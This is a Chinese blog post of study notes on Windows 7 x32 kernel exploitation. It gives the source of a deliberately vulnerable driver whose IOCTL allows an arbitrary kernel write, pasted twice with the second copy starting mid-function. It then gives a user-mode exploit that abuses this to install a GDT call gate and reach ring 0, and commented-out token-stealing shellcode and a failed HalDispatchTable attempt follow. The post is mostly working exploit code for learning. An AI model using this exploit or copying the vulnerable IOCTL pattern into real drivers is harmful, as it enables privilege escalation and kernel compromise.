0day安全学习笔记1 内核漏洞:任意地址写任意数据

环境为win7 x32 单核
下面带有漏洞的代码(对书中原来代码做了小小修改不过影响可以忽略不计)

#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\MyDevice"//设备路径
#define DEVICE_LINK L"\\??\\device" //符号链接

//设备类型/设备扩展对象的大小/哪一种io方式//访问权限
#define OPER1  CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_NEITHER,FILE_ANY_ACCESS)//状态控制码
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject, IN PIRP pIrp)
{
	
	PIO_STACK_LOCATION pIrpStack;//pIrp 设备栈中的每层驱动对应的IO_STACK_LOCATION结构
	PVOID Type3InputBuffer;// r3输入的缓冲区
	PVOID UserBuffer;// r3输出缓冲区
	ULONG inputBufferLength;// 输入长度
	ULONG outputBufferLength;//  输出长度
	ULONG ioControlCode;//DeviceIoControl 
	PIO_STATUS_BLOCK IoStatus;//表示IRP完成状态
	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer; //用户输入缓冲区
	DbgPrint("Type3InputBuffer=%x  \r\n", Type3InputBuffer);
	//获取缓冲区传送方式 其实设备创建的时候已经设被置好了
	//if (pIrp->MdlAddress != NULL)	
	//{
	//	UserBuffer = (PVOID)MmGetSystemAddressForMdlSafe(pIrp->MdlAddress, NormalPagePriority);//直接缓冲区方式
	//	
	//}
	//else
	//{
	UserBuffer = (PVOID)pIrp->UserBuffer;//默认缓冲区方式
	DbgPrint("UserBuffer=%p,", UserBuffer);
	//}
	//if (UserBuffer = NULL)//拷贝缓冲区方式
	//{
	//	UserBuffer = (PVOID)pIrp->AssociatedIrp.SystemBuffer;
	//}

	inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;//  输入长度
	outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;//  输出长度
	ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;//用户的控制码
	IoStatus = &pIrp->IoStatus;//获取irp状态
	IoStatus->Information = 0;// 如果是数据传输请求,则将该域设置为传输的字节数
	DbgPrint("inputBufferLength=%d  \r\n", inputBufferLength);
	DbgPrint("OutputBufferLength=%d  \r\n", outputBufferLength);
	__asm int 3;
	//根据控制码执行相应操作
	switch (ioControlCode)
	{
	case OPER1:
		if (inputBufferLength >= 4 && outputBufferLength >= 4)//缓冲区溢出 没有判断小于多少
		{
			*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
			//r3输入的数据被r0拷贝到r3输出数据缓冲区 那么r3可以将地址设置为内核高地址给内核执行 那么就达到了任意地址写任意数据
			//IoStatus->Information = sizeof((ULONG)UserBuffer);// 如果是数据传输请求,则将该域设置为传输的字节数
		}
		break;
	}
	NTSTATUS ntStatus = STATUS_SUCCESS;
	IoStatus->Status = ntStatus; //表示IRP完成状态

	//IoCompleteRequest(pIrp, IO_NO_INCREMENT);//调用方已完成所有I/O请求处理操作,并将给定的 IRP 返回给 I/O 管理器
	return ntStatus;
}
VOID DriverUpload(PDRIVER_OBJECT pdriver)
{
	UNICODE_STRING symbolLink;

	RtlInitUnicodeString(&symbolLink, DEVICE_LINK);//初始化符号连接名

	IoDeleteSymbolicLink(&symbolLink);//卸载符号链接

	IoDeleteDevice(pdriver->DeviceObject);//卸载设备


	DbgPrint("卸载成功\n");
}
NTSTATUS IrpCreateProc(_In_ struct _DEVICE_OBJECT *DeviceObject, _Inout_ struct _IRP *Irp)
{
	DbgPrint("DispatchCreate ... \n");
	//返回状态如果不设置 Ring3返回的是失败
	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = 0;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS IrpCloseProc(_In_ struct _DEVICE_OBJECT *DeviceObject, _Inout_ struct _IRP *Irp)
{
	DbgPrint("DispatchClose ... \n");
	//返回状态如果不设置 Ring3返回的是失败
	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = 0;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pdriver, PUNICODE_STRING pReg)
{
	

	//创建设备
	UNICODE_STRING deviceName;
	PDEVICE_OBJECT pDeviceObj = NULL;
	NTSTATUS status = 0;
	UNICODE_STRING symbolLink;
	RtlInitUnicodeString(&deviceName, DEVICE_NAME);
	//初始化设备名称
	//创建设备				驱动程序对象/设备扩展对象的大小/文件类型设备/设备特征信息/设置设备非独占/设备对象指针
	status = IoCreateDevice(pdriver, 0, &deviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, TRUE, &pDeviceObj);
	if (!NT_SUCCESS(status))
	{
		DbgPrint("创建设备失败!  \r\n");
		return status;
	}

	pDeviceObj->Flags |= DO_BUFFERED_IO;//数据传输方式

	RtlInitUnicodeString(&symbolLink, DEVICE_LINK);//初始化符号链接名称
	status = IoCreateSymbolicLink(&symbolLink, &deviceName);//创建符号链接
	if (!NT_SUCCESS(status))
	{
		IoDeleteDevice(pDeviceObj);
		DbgPrint("创建链接失败!  \r\n");
		return status;
	}



	pDeviceObj->Flags |= METHOD_NEITHER;


	//设置 卸载函数和分发函数
	pdriver->DriverUnload = DriverUpload;
	pdriver->MajorFunction[IRP_MJ_CREATE] = IrpCreateProc;
	pdriver->MajorFunction[IRP_MJ_CLOSE] = IrpCloseProc;
	pdriver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DrvDispatch;
	return STATUS_SUCCESS;
}

PagePriority);//直接缓冲区方式
	}
	else
	{
		UserBuffer = (PUCHAR)pIrp->UserBuffer;//默认缓冲区方式
	}
	if (UserBuffer = NULL)//拷贝缓冲区方式
	{
		UserBuffer = (PUCHAR)pIrp->AssociatedIrp.SystemBuffer;
	}

	inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;//  输入长度
	outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;//  输出长度
	ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;//用户的控制码
	IoStatus = &pIrp->IoStatus;//获取irp状态
	IoStatus->Information = 0;// 如果是数据传输请求,则将该域设置为传输的字节数

	//ioControlCode  
	switch (ioControlCode)
	{
	case OPER1:
		if (inputBufferLength >= 4 && outputBufferLength >= 4)//缓冲区溢出 没有判断小于多少
		{
			*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
			//r3输入的数据被r0拷贝到r3输出数据缓冲区 那么r3可以将地址设置为内核高地址给内核执行 那么就达到了任意地址写任意数据
			//IoStatus->Information = sizeof((ULONG)UserBuffer);// 如果是数据传输请求,则将该域设置为传输的字节数
		}
		break;
	}
	NTSTATUS ntStatus = STATUS_SUCCESS;
	IoStatus->Status = ntStatus; //表示IRP完成状态

	//IoCompleteRequest(pIrp, IO_NO_INCREMENT);//调用方已完成所有I/O请求处理操作,并将给定的 IRP 返回给 I/O 管理器
	return ntStatus;
}
VOID DriverUpload(PDRIVER_OBJECT pdriver)
{
	UNICODE_STRING symbolLink;

	RtlInitUnicodeString(&symbolLink, DEVICE_LINK);//初始化符号连接名

	IoDeleteSymbolicLink(&symbolLink);//卸载符号链接

	IoDeleteDevice(pdriver->DeviceObject);//卸载设备


	DbgPrint("卸载成功\n");
}
NTSTATUS IrpCreateProc(_In_ struct _DEVICE_OBJECT *DeviceObject, _Inout_ struct _IRP *Irp)
{
	DbgPrint("DispatchCreate ... \n");
	//返回状态如果不设置 Ring3返回的是失败
	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = 0;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS IrpCloseProc(_In_ struct _DEVICE_OBJECT *DeviceObject, _Inout_ struct _IRP *Irp)
{
	DbgPrint("DispatchClose ... \n");
	//返回状态如果不设置 Ring3返回的是失败
	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = 0;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pdriver, PUNICODE_STRING pReg)
{
	

	//创建设备
	UNICODE_STRING deviceName;
	PDEVICE_OBJECT pDeviceObj = NULL;
	NTSTATUS status = 0;
	UNICODE_STRING symbolLink;
	RtlInitUnicodeString(&deviceName, DEVICE_NAME);
	//初始化设备名称
	//创建设备				驱动程序对象/设备扩展对象的大小/文件类型设备/设备特征信息/设置设备非独占/设备对象指针
	status = IoCreateDevice(pdriver, 0, &deviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, TRUE, &pDeviceObj);
	if (!NT_SUCCESS(status))
	{
		DbgPrint("创建设备失败!  \r\n");
		return status;
	}

	pDeviceObj->Flags |= DO_BUFFERED_IO;//数据传输方式

	RtlInitUnicodeString(&symbolLink, DEVICE_LINK);//初始化符号链接名称
	status = IoCreateSymbolicLink(&symbolLink, &deviceName);//创建符号链接
	if (!NT_SUCCESS(status))
	{
		IoDeleteDevice(pDeviceObj);
		DbgPrint("创建链接失败!  \r\n");
		return status;
	}



	pDeviceObj->Flags |= METHOD_NEITHER;


	//设置 卸载函数和分发函数
	pdriver->DriverUnload = DriverUpload;
	pdriver->MajorFunction[IRP_MJ_CREATE] = IrpCreateProc;
	pdriver->MajorFunction[IRP_MJ_CLOSE] = IrpCloseProc;
	pdriver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DrvDispatch;
	return STATUS_SUCCESS;
}


利用方式

**缓冲区溢出利用

因为开了gs 所以这种方式难度大 有兴趣的朋友可以试试 奥利给

方式1

haldispatch是内核模块hal.dll导出的一张函数表 (这不重要)
我们这个要把表里面第2个函数的首地址改为0 然后把shellcode写进去
再调用即完成利用
为什么要选这个函数?因为这个函数特别冷门
如图所示

在这里插入图片描述
弄了一天以失败告终 后面有代码
原因:获取不到ntoskrnl.exe里的内核函数地址 R3代码没有对该内存区域的访问权限
所以是一直没法加载内核模块到进程

方式二

不管三七二十一 既然有漏洞先利用调用门提权到R0提权再说 因为R3权限太小了
如图所示

在这里插入图片描述
调用门和代码段描述符结构
在这里插入图片描述
调用门原理
在这里插入图片描述
修改后后如图所示
在这里插入图片描述
至此利用成功 恢复各种hook我就懒得写了…
至于书中的system的提权 我还是去写了一道 但是还是失败了 总结了下
因为xp和win7的一些内核结构体不一样所以一些汇编偏移不一样
不过大致思想都一样
虽然内核提权成功了 但是fs寄存器依然是3环的3b 我试过强行修改fs寄存器但不知道为啥修改后操作系统就挂掉了 然后获取kpcr结构的途中又有坑 (VISTA/WIN7下kpcr直接全部随机地址化了,第一个核也不是ffdff000 )。。。
所以我在应用层无法获取kpcr结构的地址,地址已经随机化了 知道方法的大哥望告知一二

在这里插入图片描述

exe代码



#include <windows.h>
#include <stdio.h>
#include<ntstatus.h>
//typedef struct _UNICODE_STRING { 
//	USHORT Length;
//	USHORT MaximumLength;
//	PWSTR  Buffer;
//} UNICODE_STRING,*PUNICODE_STRING;
//定义状态控制码   参数:设备类型/设备扩展对象的大小/哪一种io方式(默认方式)//访问权限

#define OPER1 CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_NEITHER,FILE_ANY_ACCESS)
#define SYMBOLICLINK_NAME L"\\\\.\\device" //符号链接
//typedef enum _SYSTEM_INFORMATION_CLASS {
//	SystemBasicInformation,// 0 Y N
//	SystemProcessorInformation,// 1 Y N
//	SystemPerformanceInformation,// 2 Y N
//	SystemTimeOfDayInformation,// 3 Y N
//	SystemNotImplemented1,// 4 Y N // SystemPathInformation
//	SystemProcessesAndThreadsInformation,// 5 Y N
//	SystemCallCounts,// 6 Y N
//	SystemConfigurationInformation,// 7 Y N
//	SystemProcessorTimes,// 8 Y N
//	SystemGlobalFlag,// 9 Y Y
//	SystemNotImplemented2,// 10 YN // SystemCallTimeInformation
//	SystemModuleInformation,// 11 YN
//	SystemLockInformation,// 12 YN
//	SystemNotImplemented3,// 13 YN // SystemStackTraceInformation
//	SystemNotImplemented4,// 14 YN // SystemPagedPoolInformation
//	SystemNotImplemented5,// 15 YN // SystemNonPagedPoolInformation
//	SystemHandleInformation,// 16 YN
//	SystemObjectInformation,// 17 YN
//	SystemPagefileInformation,// 18 YN
//	SystemInstructionEmulationCounts,// 19 YN
//	SystemInvalidInfoClass1,// 20
//	SystemCacheInformation,// 21 YY
//	SystemPoolTagInformation,// 22 YN
//	SystemProcessorStatistics,// 23 YN
//	SystemDpcInformation,// 24 YY
//	SystemNotImplemented6,// 25 YN // SystemFullMemoryInformation
//	SystemLoadImage,// 26 NY // SystemLoadGdiDriverInformation
//	SystemUnloadImage,// 27 NY
//	SystemTimeAdjustment,// 28 YY
//	SystemNotImplemented7,// 29 YN // SystemSummaryMemoryInformation
//	SystemNotImplemented8,// 30 YN // SystemNextEventIdInformation
//	SystemNotImplemented9,// 31 YN // SystemEventIdsInformation
//	SystemCrashDumpInformation,// 32 YN
//	SystemExceptionInformation,// 33 YN
//	SystemCrashDumpStateInformation,// 34 YY/N
//	SystemKernelDebuggerInformation,// 35 YN
//	SystemContextSwitchInformation,// 36 YN
//	SystemRegistryQuotaInformation,// 37 YY
//	SystemLoadAndCallImage,// 38 NY // SystemExtendServiceTableInformation
//	SystemPrioritySeparation,// 39 NY
//	SystemNotImplemented10,// 40 YN // SystemPlugPlayBusInformation
//	SystemNotImplemented11,// 41 YN // SystemDockInformation
//	SystemInvalidInfoClass2,// 42 // SystemPowerInformation
//	SystemInvalidInfoClass3,// 43 // SystemProcessorSpeedInformation
//	SystemTimeZoneInformation,// 44 YN
//	SystemLookasideInformation,// 45 YN
//	SystemSetTimeSlipEvent,// 46 NY
//	SystemCreateSession,// 47 NY
//	SystemDeleteSession,// 48 NY
//	SystemInvalidInfoClass4,// 49
//	SystemRangeStartInformation,// 50 YN
//	SystemVerifierInformation,// 51 YY
//	SystemAddVerifier,// 52 NY
//	SystemSessionProcessesInformation// 53 YN
//} SYSTEM_INFORMATION_CLASS;//微软未导出枚举类型  



//参数 SystemInformationClass 系统信息类别,我们要找模块信息(其宏定义为11),
//参数 SystemInformation  存储返回结果信息的缓冲区
//参数 SystemInformationLength 分配缓冲区的大小
//参数 ReturnLength   实际返回消息的大小
//typedef NTSTATUS(*_ZwQuerySystemInformation)(
//	SYSTEM_INFORMATION_CLASS SystemInformationClass,	
//	PVOID SystemInformation,					
//	ULONG SystemInformationLength,
//	PULONG ReturnLength
//);
//
//_ZwQuerySystemInformation ZwQuerySystemInformation;
//
//
////参数 PathToFile, 整数型  给0也可以
////参数 Flags, 整数型, 直接给0
////参数 ModuleFileName, UNICODE_STRING
////参数 ModuleHandle, 整数型, 成功载入后返回句柄
//
//typedef NTSTATUS(NTAPI *fLdrLoadDll)(PCWSTR SearchPath, PULONG DllCharacteristics,
//	PUNICODE_STRING DllName, PVOID *BaseAddress);
//fLdrLoadDll LdrLoadDll;
//
////初始化字符串
//typedef NTSTATUS(NTAPI *RtlInitUnicodeString)(
//	_Out_ PUNICODE_STRING DestinationString,
//	_In_opt_z_ __drv_aliasesMem PCWSTR SourceString
//);
//RtlInitUnicodeString FRtlInitUnicodeString;
////char转uncodestring
//typedef NTSTATUS(NTAPI *RtlCreateUnicodeStringFromAsciiz)(OUT PUNICODE_STRING DestinationString,IN PUCHAR SourceString);
//RtlCreateUnicodeStringFromAsciiz FRtlCreateUnicodeStringFromAsciiz;
//
//typedef struct _SYSTEM_MODULE_INFORMATION  // 模块信息结构体
//{
//	ULONG  Reserved[2];
//	PVOID  Base;//基地址
//	ULONG  Size;//模块大小
//	ULONG  Flags;
//	USHORT Index;
//	USHORT Unknown;
//	USHORT LoadCount;//引用次数
//	USHORT ModuleNameOffset;//路径名离模块名的偏移
//	CHAR   ImageName[256];//路径名
//} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;


HANDLE g_hDriver;  			//驱动句柄

//与驱动通信的函数
void WriteDev(PVOID Address,
	DWORD Value)
{
	DWORD dw;
	//驱动句柄/操作码/输入缓冲区地址/输入缓存区长度/输出缓冲区地址/输出缓冲区长度/返回长度/指向OVERLAPPED 此处为NULL
	DeviceIoControl(g_hDriver, OPER1, &Value, sizeof(Value), (PVOID)Address, sizeof(Address), &dw, NULL);
}


int main() {

	char gdt[6];
	ULONG gdtaddr;
	USHORT gdtlimit;
	//获取全局描述符表地址  多核下需要设置线程只绑定一个cpu
	_asm sgdt gdt;
	gdtaddr = *(ULONG *)(&gdt[2]);
	gdtlimit = *(USHORT *)(&gdt[0]);
	printf("GDT Base: %08X\n", gdtaddr);
	printf("GDT Limit: %04X\n", gdtlimit);

	//在3环获取驱动句柄
	TCHAR szBuffer[10] = { 0 };
	//1. 通过符号连接 打开设备	//访问模式(写/读)/共享模式/指向安全属性的指针/如何创建/文件属性 /用于复制文件句柄
	g_hDriver = CreateFile(SYMBOLICLINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

	if (g_hDriver != INVALID_HANDLE_VALUE)
		printf("打开设备成功");
	else {

		getchar();
		printf("打开设备失败");
		//return FALSE;
	}

	//首先向GDT的0偏移处, 写入retn指令
		WriteDev((PVOID)gdtaddr,
			0xc3);
	//然后指令偏移指向上面写入的retn
	//段标志指向自己创建的段选择子

	//组合一个调用门描述符
	WORD callGate[4]; //64位
   //在调用门描述符中,定义了 目标过程所在代码段的选择子,以及 段内偏移量
   //指令偏移指向上面写入的retn
   //段标志指向自己创建的段选择子

   //段选择器指定了要使用的段(即基址和长度值),而 段内偏移量 组件则指定了实际内存位置相对于基址的偏移量
	callGate[0] =  (WORD)(gdtaddr & 0x0000FFFF);	//0到15位段内偏移量



	//重点来了 通过这个才能找到执行的段 也就是另外一个代码段的段选择子
	//代码段的段选择子的base  也就是下面加上调用门的基地址才是要执行的位置
	//16到31位 列成所在代码段的段选择子 也就是cs,ds,es,ss,fs,gs段寄存器的后两位
	//段选择子格式 1和2位是RPl 对于非一致代码段要求CPL=DPL,RPL<=DPL
	//cpl当前代码的执行权限 也就是cs的后两位
	//dpl放在段描述符中 描述了访问本段所需要的权限
	//rpl存在段选择子中 描述了访问者使用啥权限对目标进行访问
	//1和2位 RPL 描述了访问者使用啥权限对目标进行访问
	//3位TI 0是找GDT表  1是找LDT表
	//4到16位是表下标  因为两张表是一个数组 通过下标才能去访问段描述符
	callGate[1] = 0x068;  //拆成二进制   000000001101  000 
										//下标         rpl
	//32到47位
	//1到5位 参数个数 678位默认0 9到12位type 十进制12为调用门
	//13位默认0 14和15位是dpl 描述访问本段需要的权限
	//16位是P位描述 段描述符是否有效
	callGate[2] = 0xec00;//拆成二进制   1 11  0 1100  000 00000
									//  p dpl 	  type      参数			
	//48到64位 段内偏移量 

	callGate[3] =(WORD)(gdtaddr >> 16);            //指令偏移



	//组合一个段描述符 段选择符有八个字节也就是64位 00cf9a00 0000ffff
	BYTE segment[8];

	//0到15位 段限长 //如果g位是1 段限长的单位是字节 否则单位为4kb
	segment[0] = 0xff;     // 段限长4G
	segment[1] = 0xff;
	segment[2] = 0x00;		//16到31位  段基址范围为0到4GB 描述了一个段的起始位置
	segment[3] = 0x00;     //段基址0x00000000 
	segment[4] = 0x00;		//32到39位 段基地址


	 // 40到47位
	//其中1到4位是type位 5位为s位 6和7位dpl位 8位为p位
	//   type位的值是 十进制0到7时候 数据段 
	//    8到11的时候则是非一致代码段 
	//    12到15的时候是一致代码段 权限不会改变 
	//   s位是0则代表这是系统段 为1则是数据段或者代码段
	//  dpl位描述了访问本段所需要的权限 
	//  p位描述为1 则段描述符有效 为0则无效
	segment[5] = 0x9a;//拆成二进制  1 00  1 1010 
								//	p dpl s type




	//48到55位 这里的结构数据段和代码段结构意思不一样 我只描述代码段
	//其中1到4位是段限长 5位为a位 6位l位 7位d位 8位g位
	//a位描述是否被操作系统访问过  0 没访问 1 访问 
	//l是保留位 给64位处理器使用  
	//d是默认操作数大小 0代表16位地址 1代表32位地址
	//描述段限长单位 0是字节 1是kb

	segment[6] = 0xcf;// 拆成二进制     1 0 1 1 1111
									//	g d l a 段限长

	segment[7] = 0x00;	    //57到64位 段基地址

	//将调用门和段选择子依次写入GDT
	WriteDev((LPVOID)(gdtaddr + 0x60),
		*(DWORD*)callGate);
	WriteDev((LPVOID)(gdtaddr + 0x64),
		*((DWORD*)callGate + 1));
	WriteDev((LPVOID)(gdtaddr + 0x68),
		*(DWORD*)segment);
	WriteDev((LPVOID)(gdtaddr + 0x6c),
		*((DWORD*)segment + 1));


	//提权
	WORD farJmp[3];
	DWORD oldCs;

	farJmp[0] = 0;
	farJmp[1] = 0;
	farJmp[2] = 0x60;
	
	__asm
	{
		call fword ptr[farJmp];    //跳转到调用门
		//这里R0会执行我们写入的retn
		mov eax, [esp];     //保存返回地址
		mov oldCs, eax;
		add esp, 4
		int 3;
		
		//提权到 SYSTEM 
		//pushad;
		////每个CPU都有个KPCR结构
		//mov eax, dword ptr  fs:[0x124];//拿到自己当前的线程结构kthread  //WIN7会蓝屏 在驱动就不会
		//	//+0x050 ActiveProcessors : _KAFFINITY_EX
		//mov esi, [eax+0x50];//拿到_KAPC_state下的进程结构体kprocess
		//mov eax, esi //拿到_KAPC_state下的进程结构体kprocess
		//searchXp :
		//mov eax, [eax + 0xb8]	//0b8 ActiveProcessLinks : _LIST_ENTRY
		//sub eax, 0xb8 //获取进程链表中下一个进程的 PEPROCESS 
		////+ 0x0b4 UniqueProcessId :
		//mov edx, [eax + 0xb4] //获取该进程的 pid 到 edx 
		//cmp edx, 0x4 //通过 PID 查找 SYSTEM 进程 
		//jne searchXp
		////+0x0f8 Token            : _EX_FAST_REF
		//mov eax, [eax + 0xf8] //获取 system 进程的 token 
		//mov[esi + 0xf8], eax //修改当前进程的 token 
		//popad
	}
		//已经到R0了。
		*(DWORD*)(0x80b950b0) = 0x11111111;     //改一下内核空间看是否能成功

		

	//返回R3
	__asm {
		mov eax, oldCs;
		push eax;
		mov eax, JmpToR3;
		push eax;
		retf;
	}
JmpToR3:
	__asm nop;





	//下面是一次失败的利用 按照书上 获取ntoskrnl中的函数地址获取不到 

	//NTSTATUS NtStatus = CMC_STATUS_SUCCESS;
	//ULONG ReturnLength = 0;//实际返回消息的大小
	//ULONG ImageBase = 0; //hal.dll的基地址
	//ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
	//PVOID HalDispatchTable = NULL;//HalDispatchTableImage基地址
	//PVOID xHalQuerySystemInformation = NULL;//冷门函数地址
	//UNICODE_STRING DllName;//模块的名字
	//PSYSTEM_MODULE_INFORMATION ModuleInformation = NULL;////第二个参数  存储返回结果信息的缓冲区
	//HMODULE hDll = GetModuleHandle(L"ntdll.dll");//获取ntdll模块句柄
	//// 获取 LdrLoadDll 函数地址
	//LdrLoadDll = (fLdrLoadDll)GetProcAddress(hDll, "LdrLoadDll");
	// //获取 ZwQuerySystemInformation 函数地址
	//ZwQuerySystemInformation = (_ZwQuerySystemInformation)GetProcAddress(hDll, "ZwQuerySystemInformation");

	//
	//UCHAR ImageName[256] = { 0 };
	//hDll = GetModuleHandle(L"ntoskrnl.exe");//获取ntoskrnl.exe模块句柄
	//FRtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(hDll, "RtlInitUnicodeString");
	////获取 RtlCreateUnicodeStringFromAsciiz 函数地址
	//FRtlCreateUnicodeStringFromAsciiz = (RtlCreateUnicodeStringFromAsciiz)GetProcAddress(hDll, "RtlCreateUnicodeStringFromAsciiz");
	////获取内核模块的 UnicodeString 
	//FRtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);


	//ULONG n=0;
	////第1次 ZwQuerySystemInformation() 调用目的是探测所需的 buffer 空间,第2次调用是获取模块信息。
	//ZwQuerySystemInformation(SystemModuleInformation, 0, 0, &n);
	//PULONG p=  new ULONG[n];
	//ZwQuerySystemInformation(SystemModuleInformation, p, n, 0);
	//ModuleInformation = PSYSTEM_MODULE_INFORMATION(p + 1);
	////遍历系统内核信息
	//PVOID MappedBase = NULL;
	//for (ULONG i=0;i<*p;i++)
	//{
	//		//第一个内核模块就是ntoskrnl.exe
	//		ImageBase = (ULONG)ModuleInformation[i].Base;
	//		//HRESULT hr = LdrLoadDll(ModuleInformation[i].ImageName + ModuleInformation[i].ModuleNameOffset, 0, &DllName, &MappedBase);
	//		RtlMoveMemory(ImageName, (PVOID)(ModuleInformation[i].ImageName + ModuleInformation[i].ModuleNameOffset), 256);
	//		break;
	//		//printf("%s\n", ModuleInformation[i].ImageName);
	//}
	////释放存放内核模块列表的内存
	//delete[]p;
	//

	//HRESULT hr=LdrLoadDll(0, &DllCharacteristics, &DllName, &MappedBase);
	//if (hr != S_OK)
	//{
	//	printf("载入dll失败");
	//	return 0;
	//}

	////获取 HalDispatchTable 函数表地址
	//HalDispatchTable = GetProcAddress((HMODULE)MappedBase, "HalDispatchTable");
	//HalDispatchTable = (PVOID)((ULONG)HalDispatchTable -
	//	(ULONG)MappedBase + ImageBase);
	////获取冷门函数地址
	//xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable +sizeof(ULONG));
	//printf("%p", xHalQuerySystemInformation);

	//3. 关闭设备
	CloseHandle(g_hDriver);
	getchar();
	return 0;
}





猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/104617303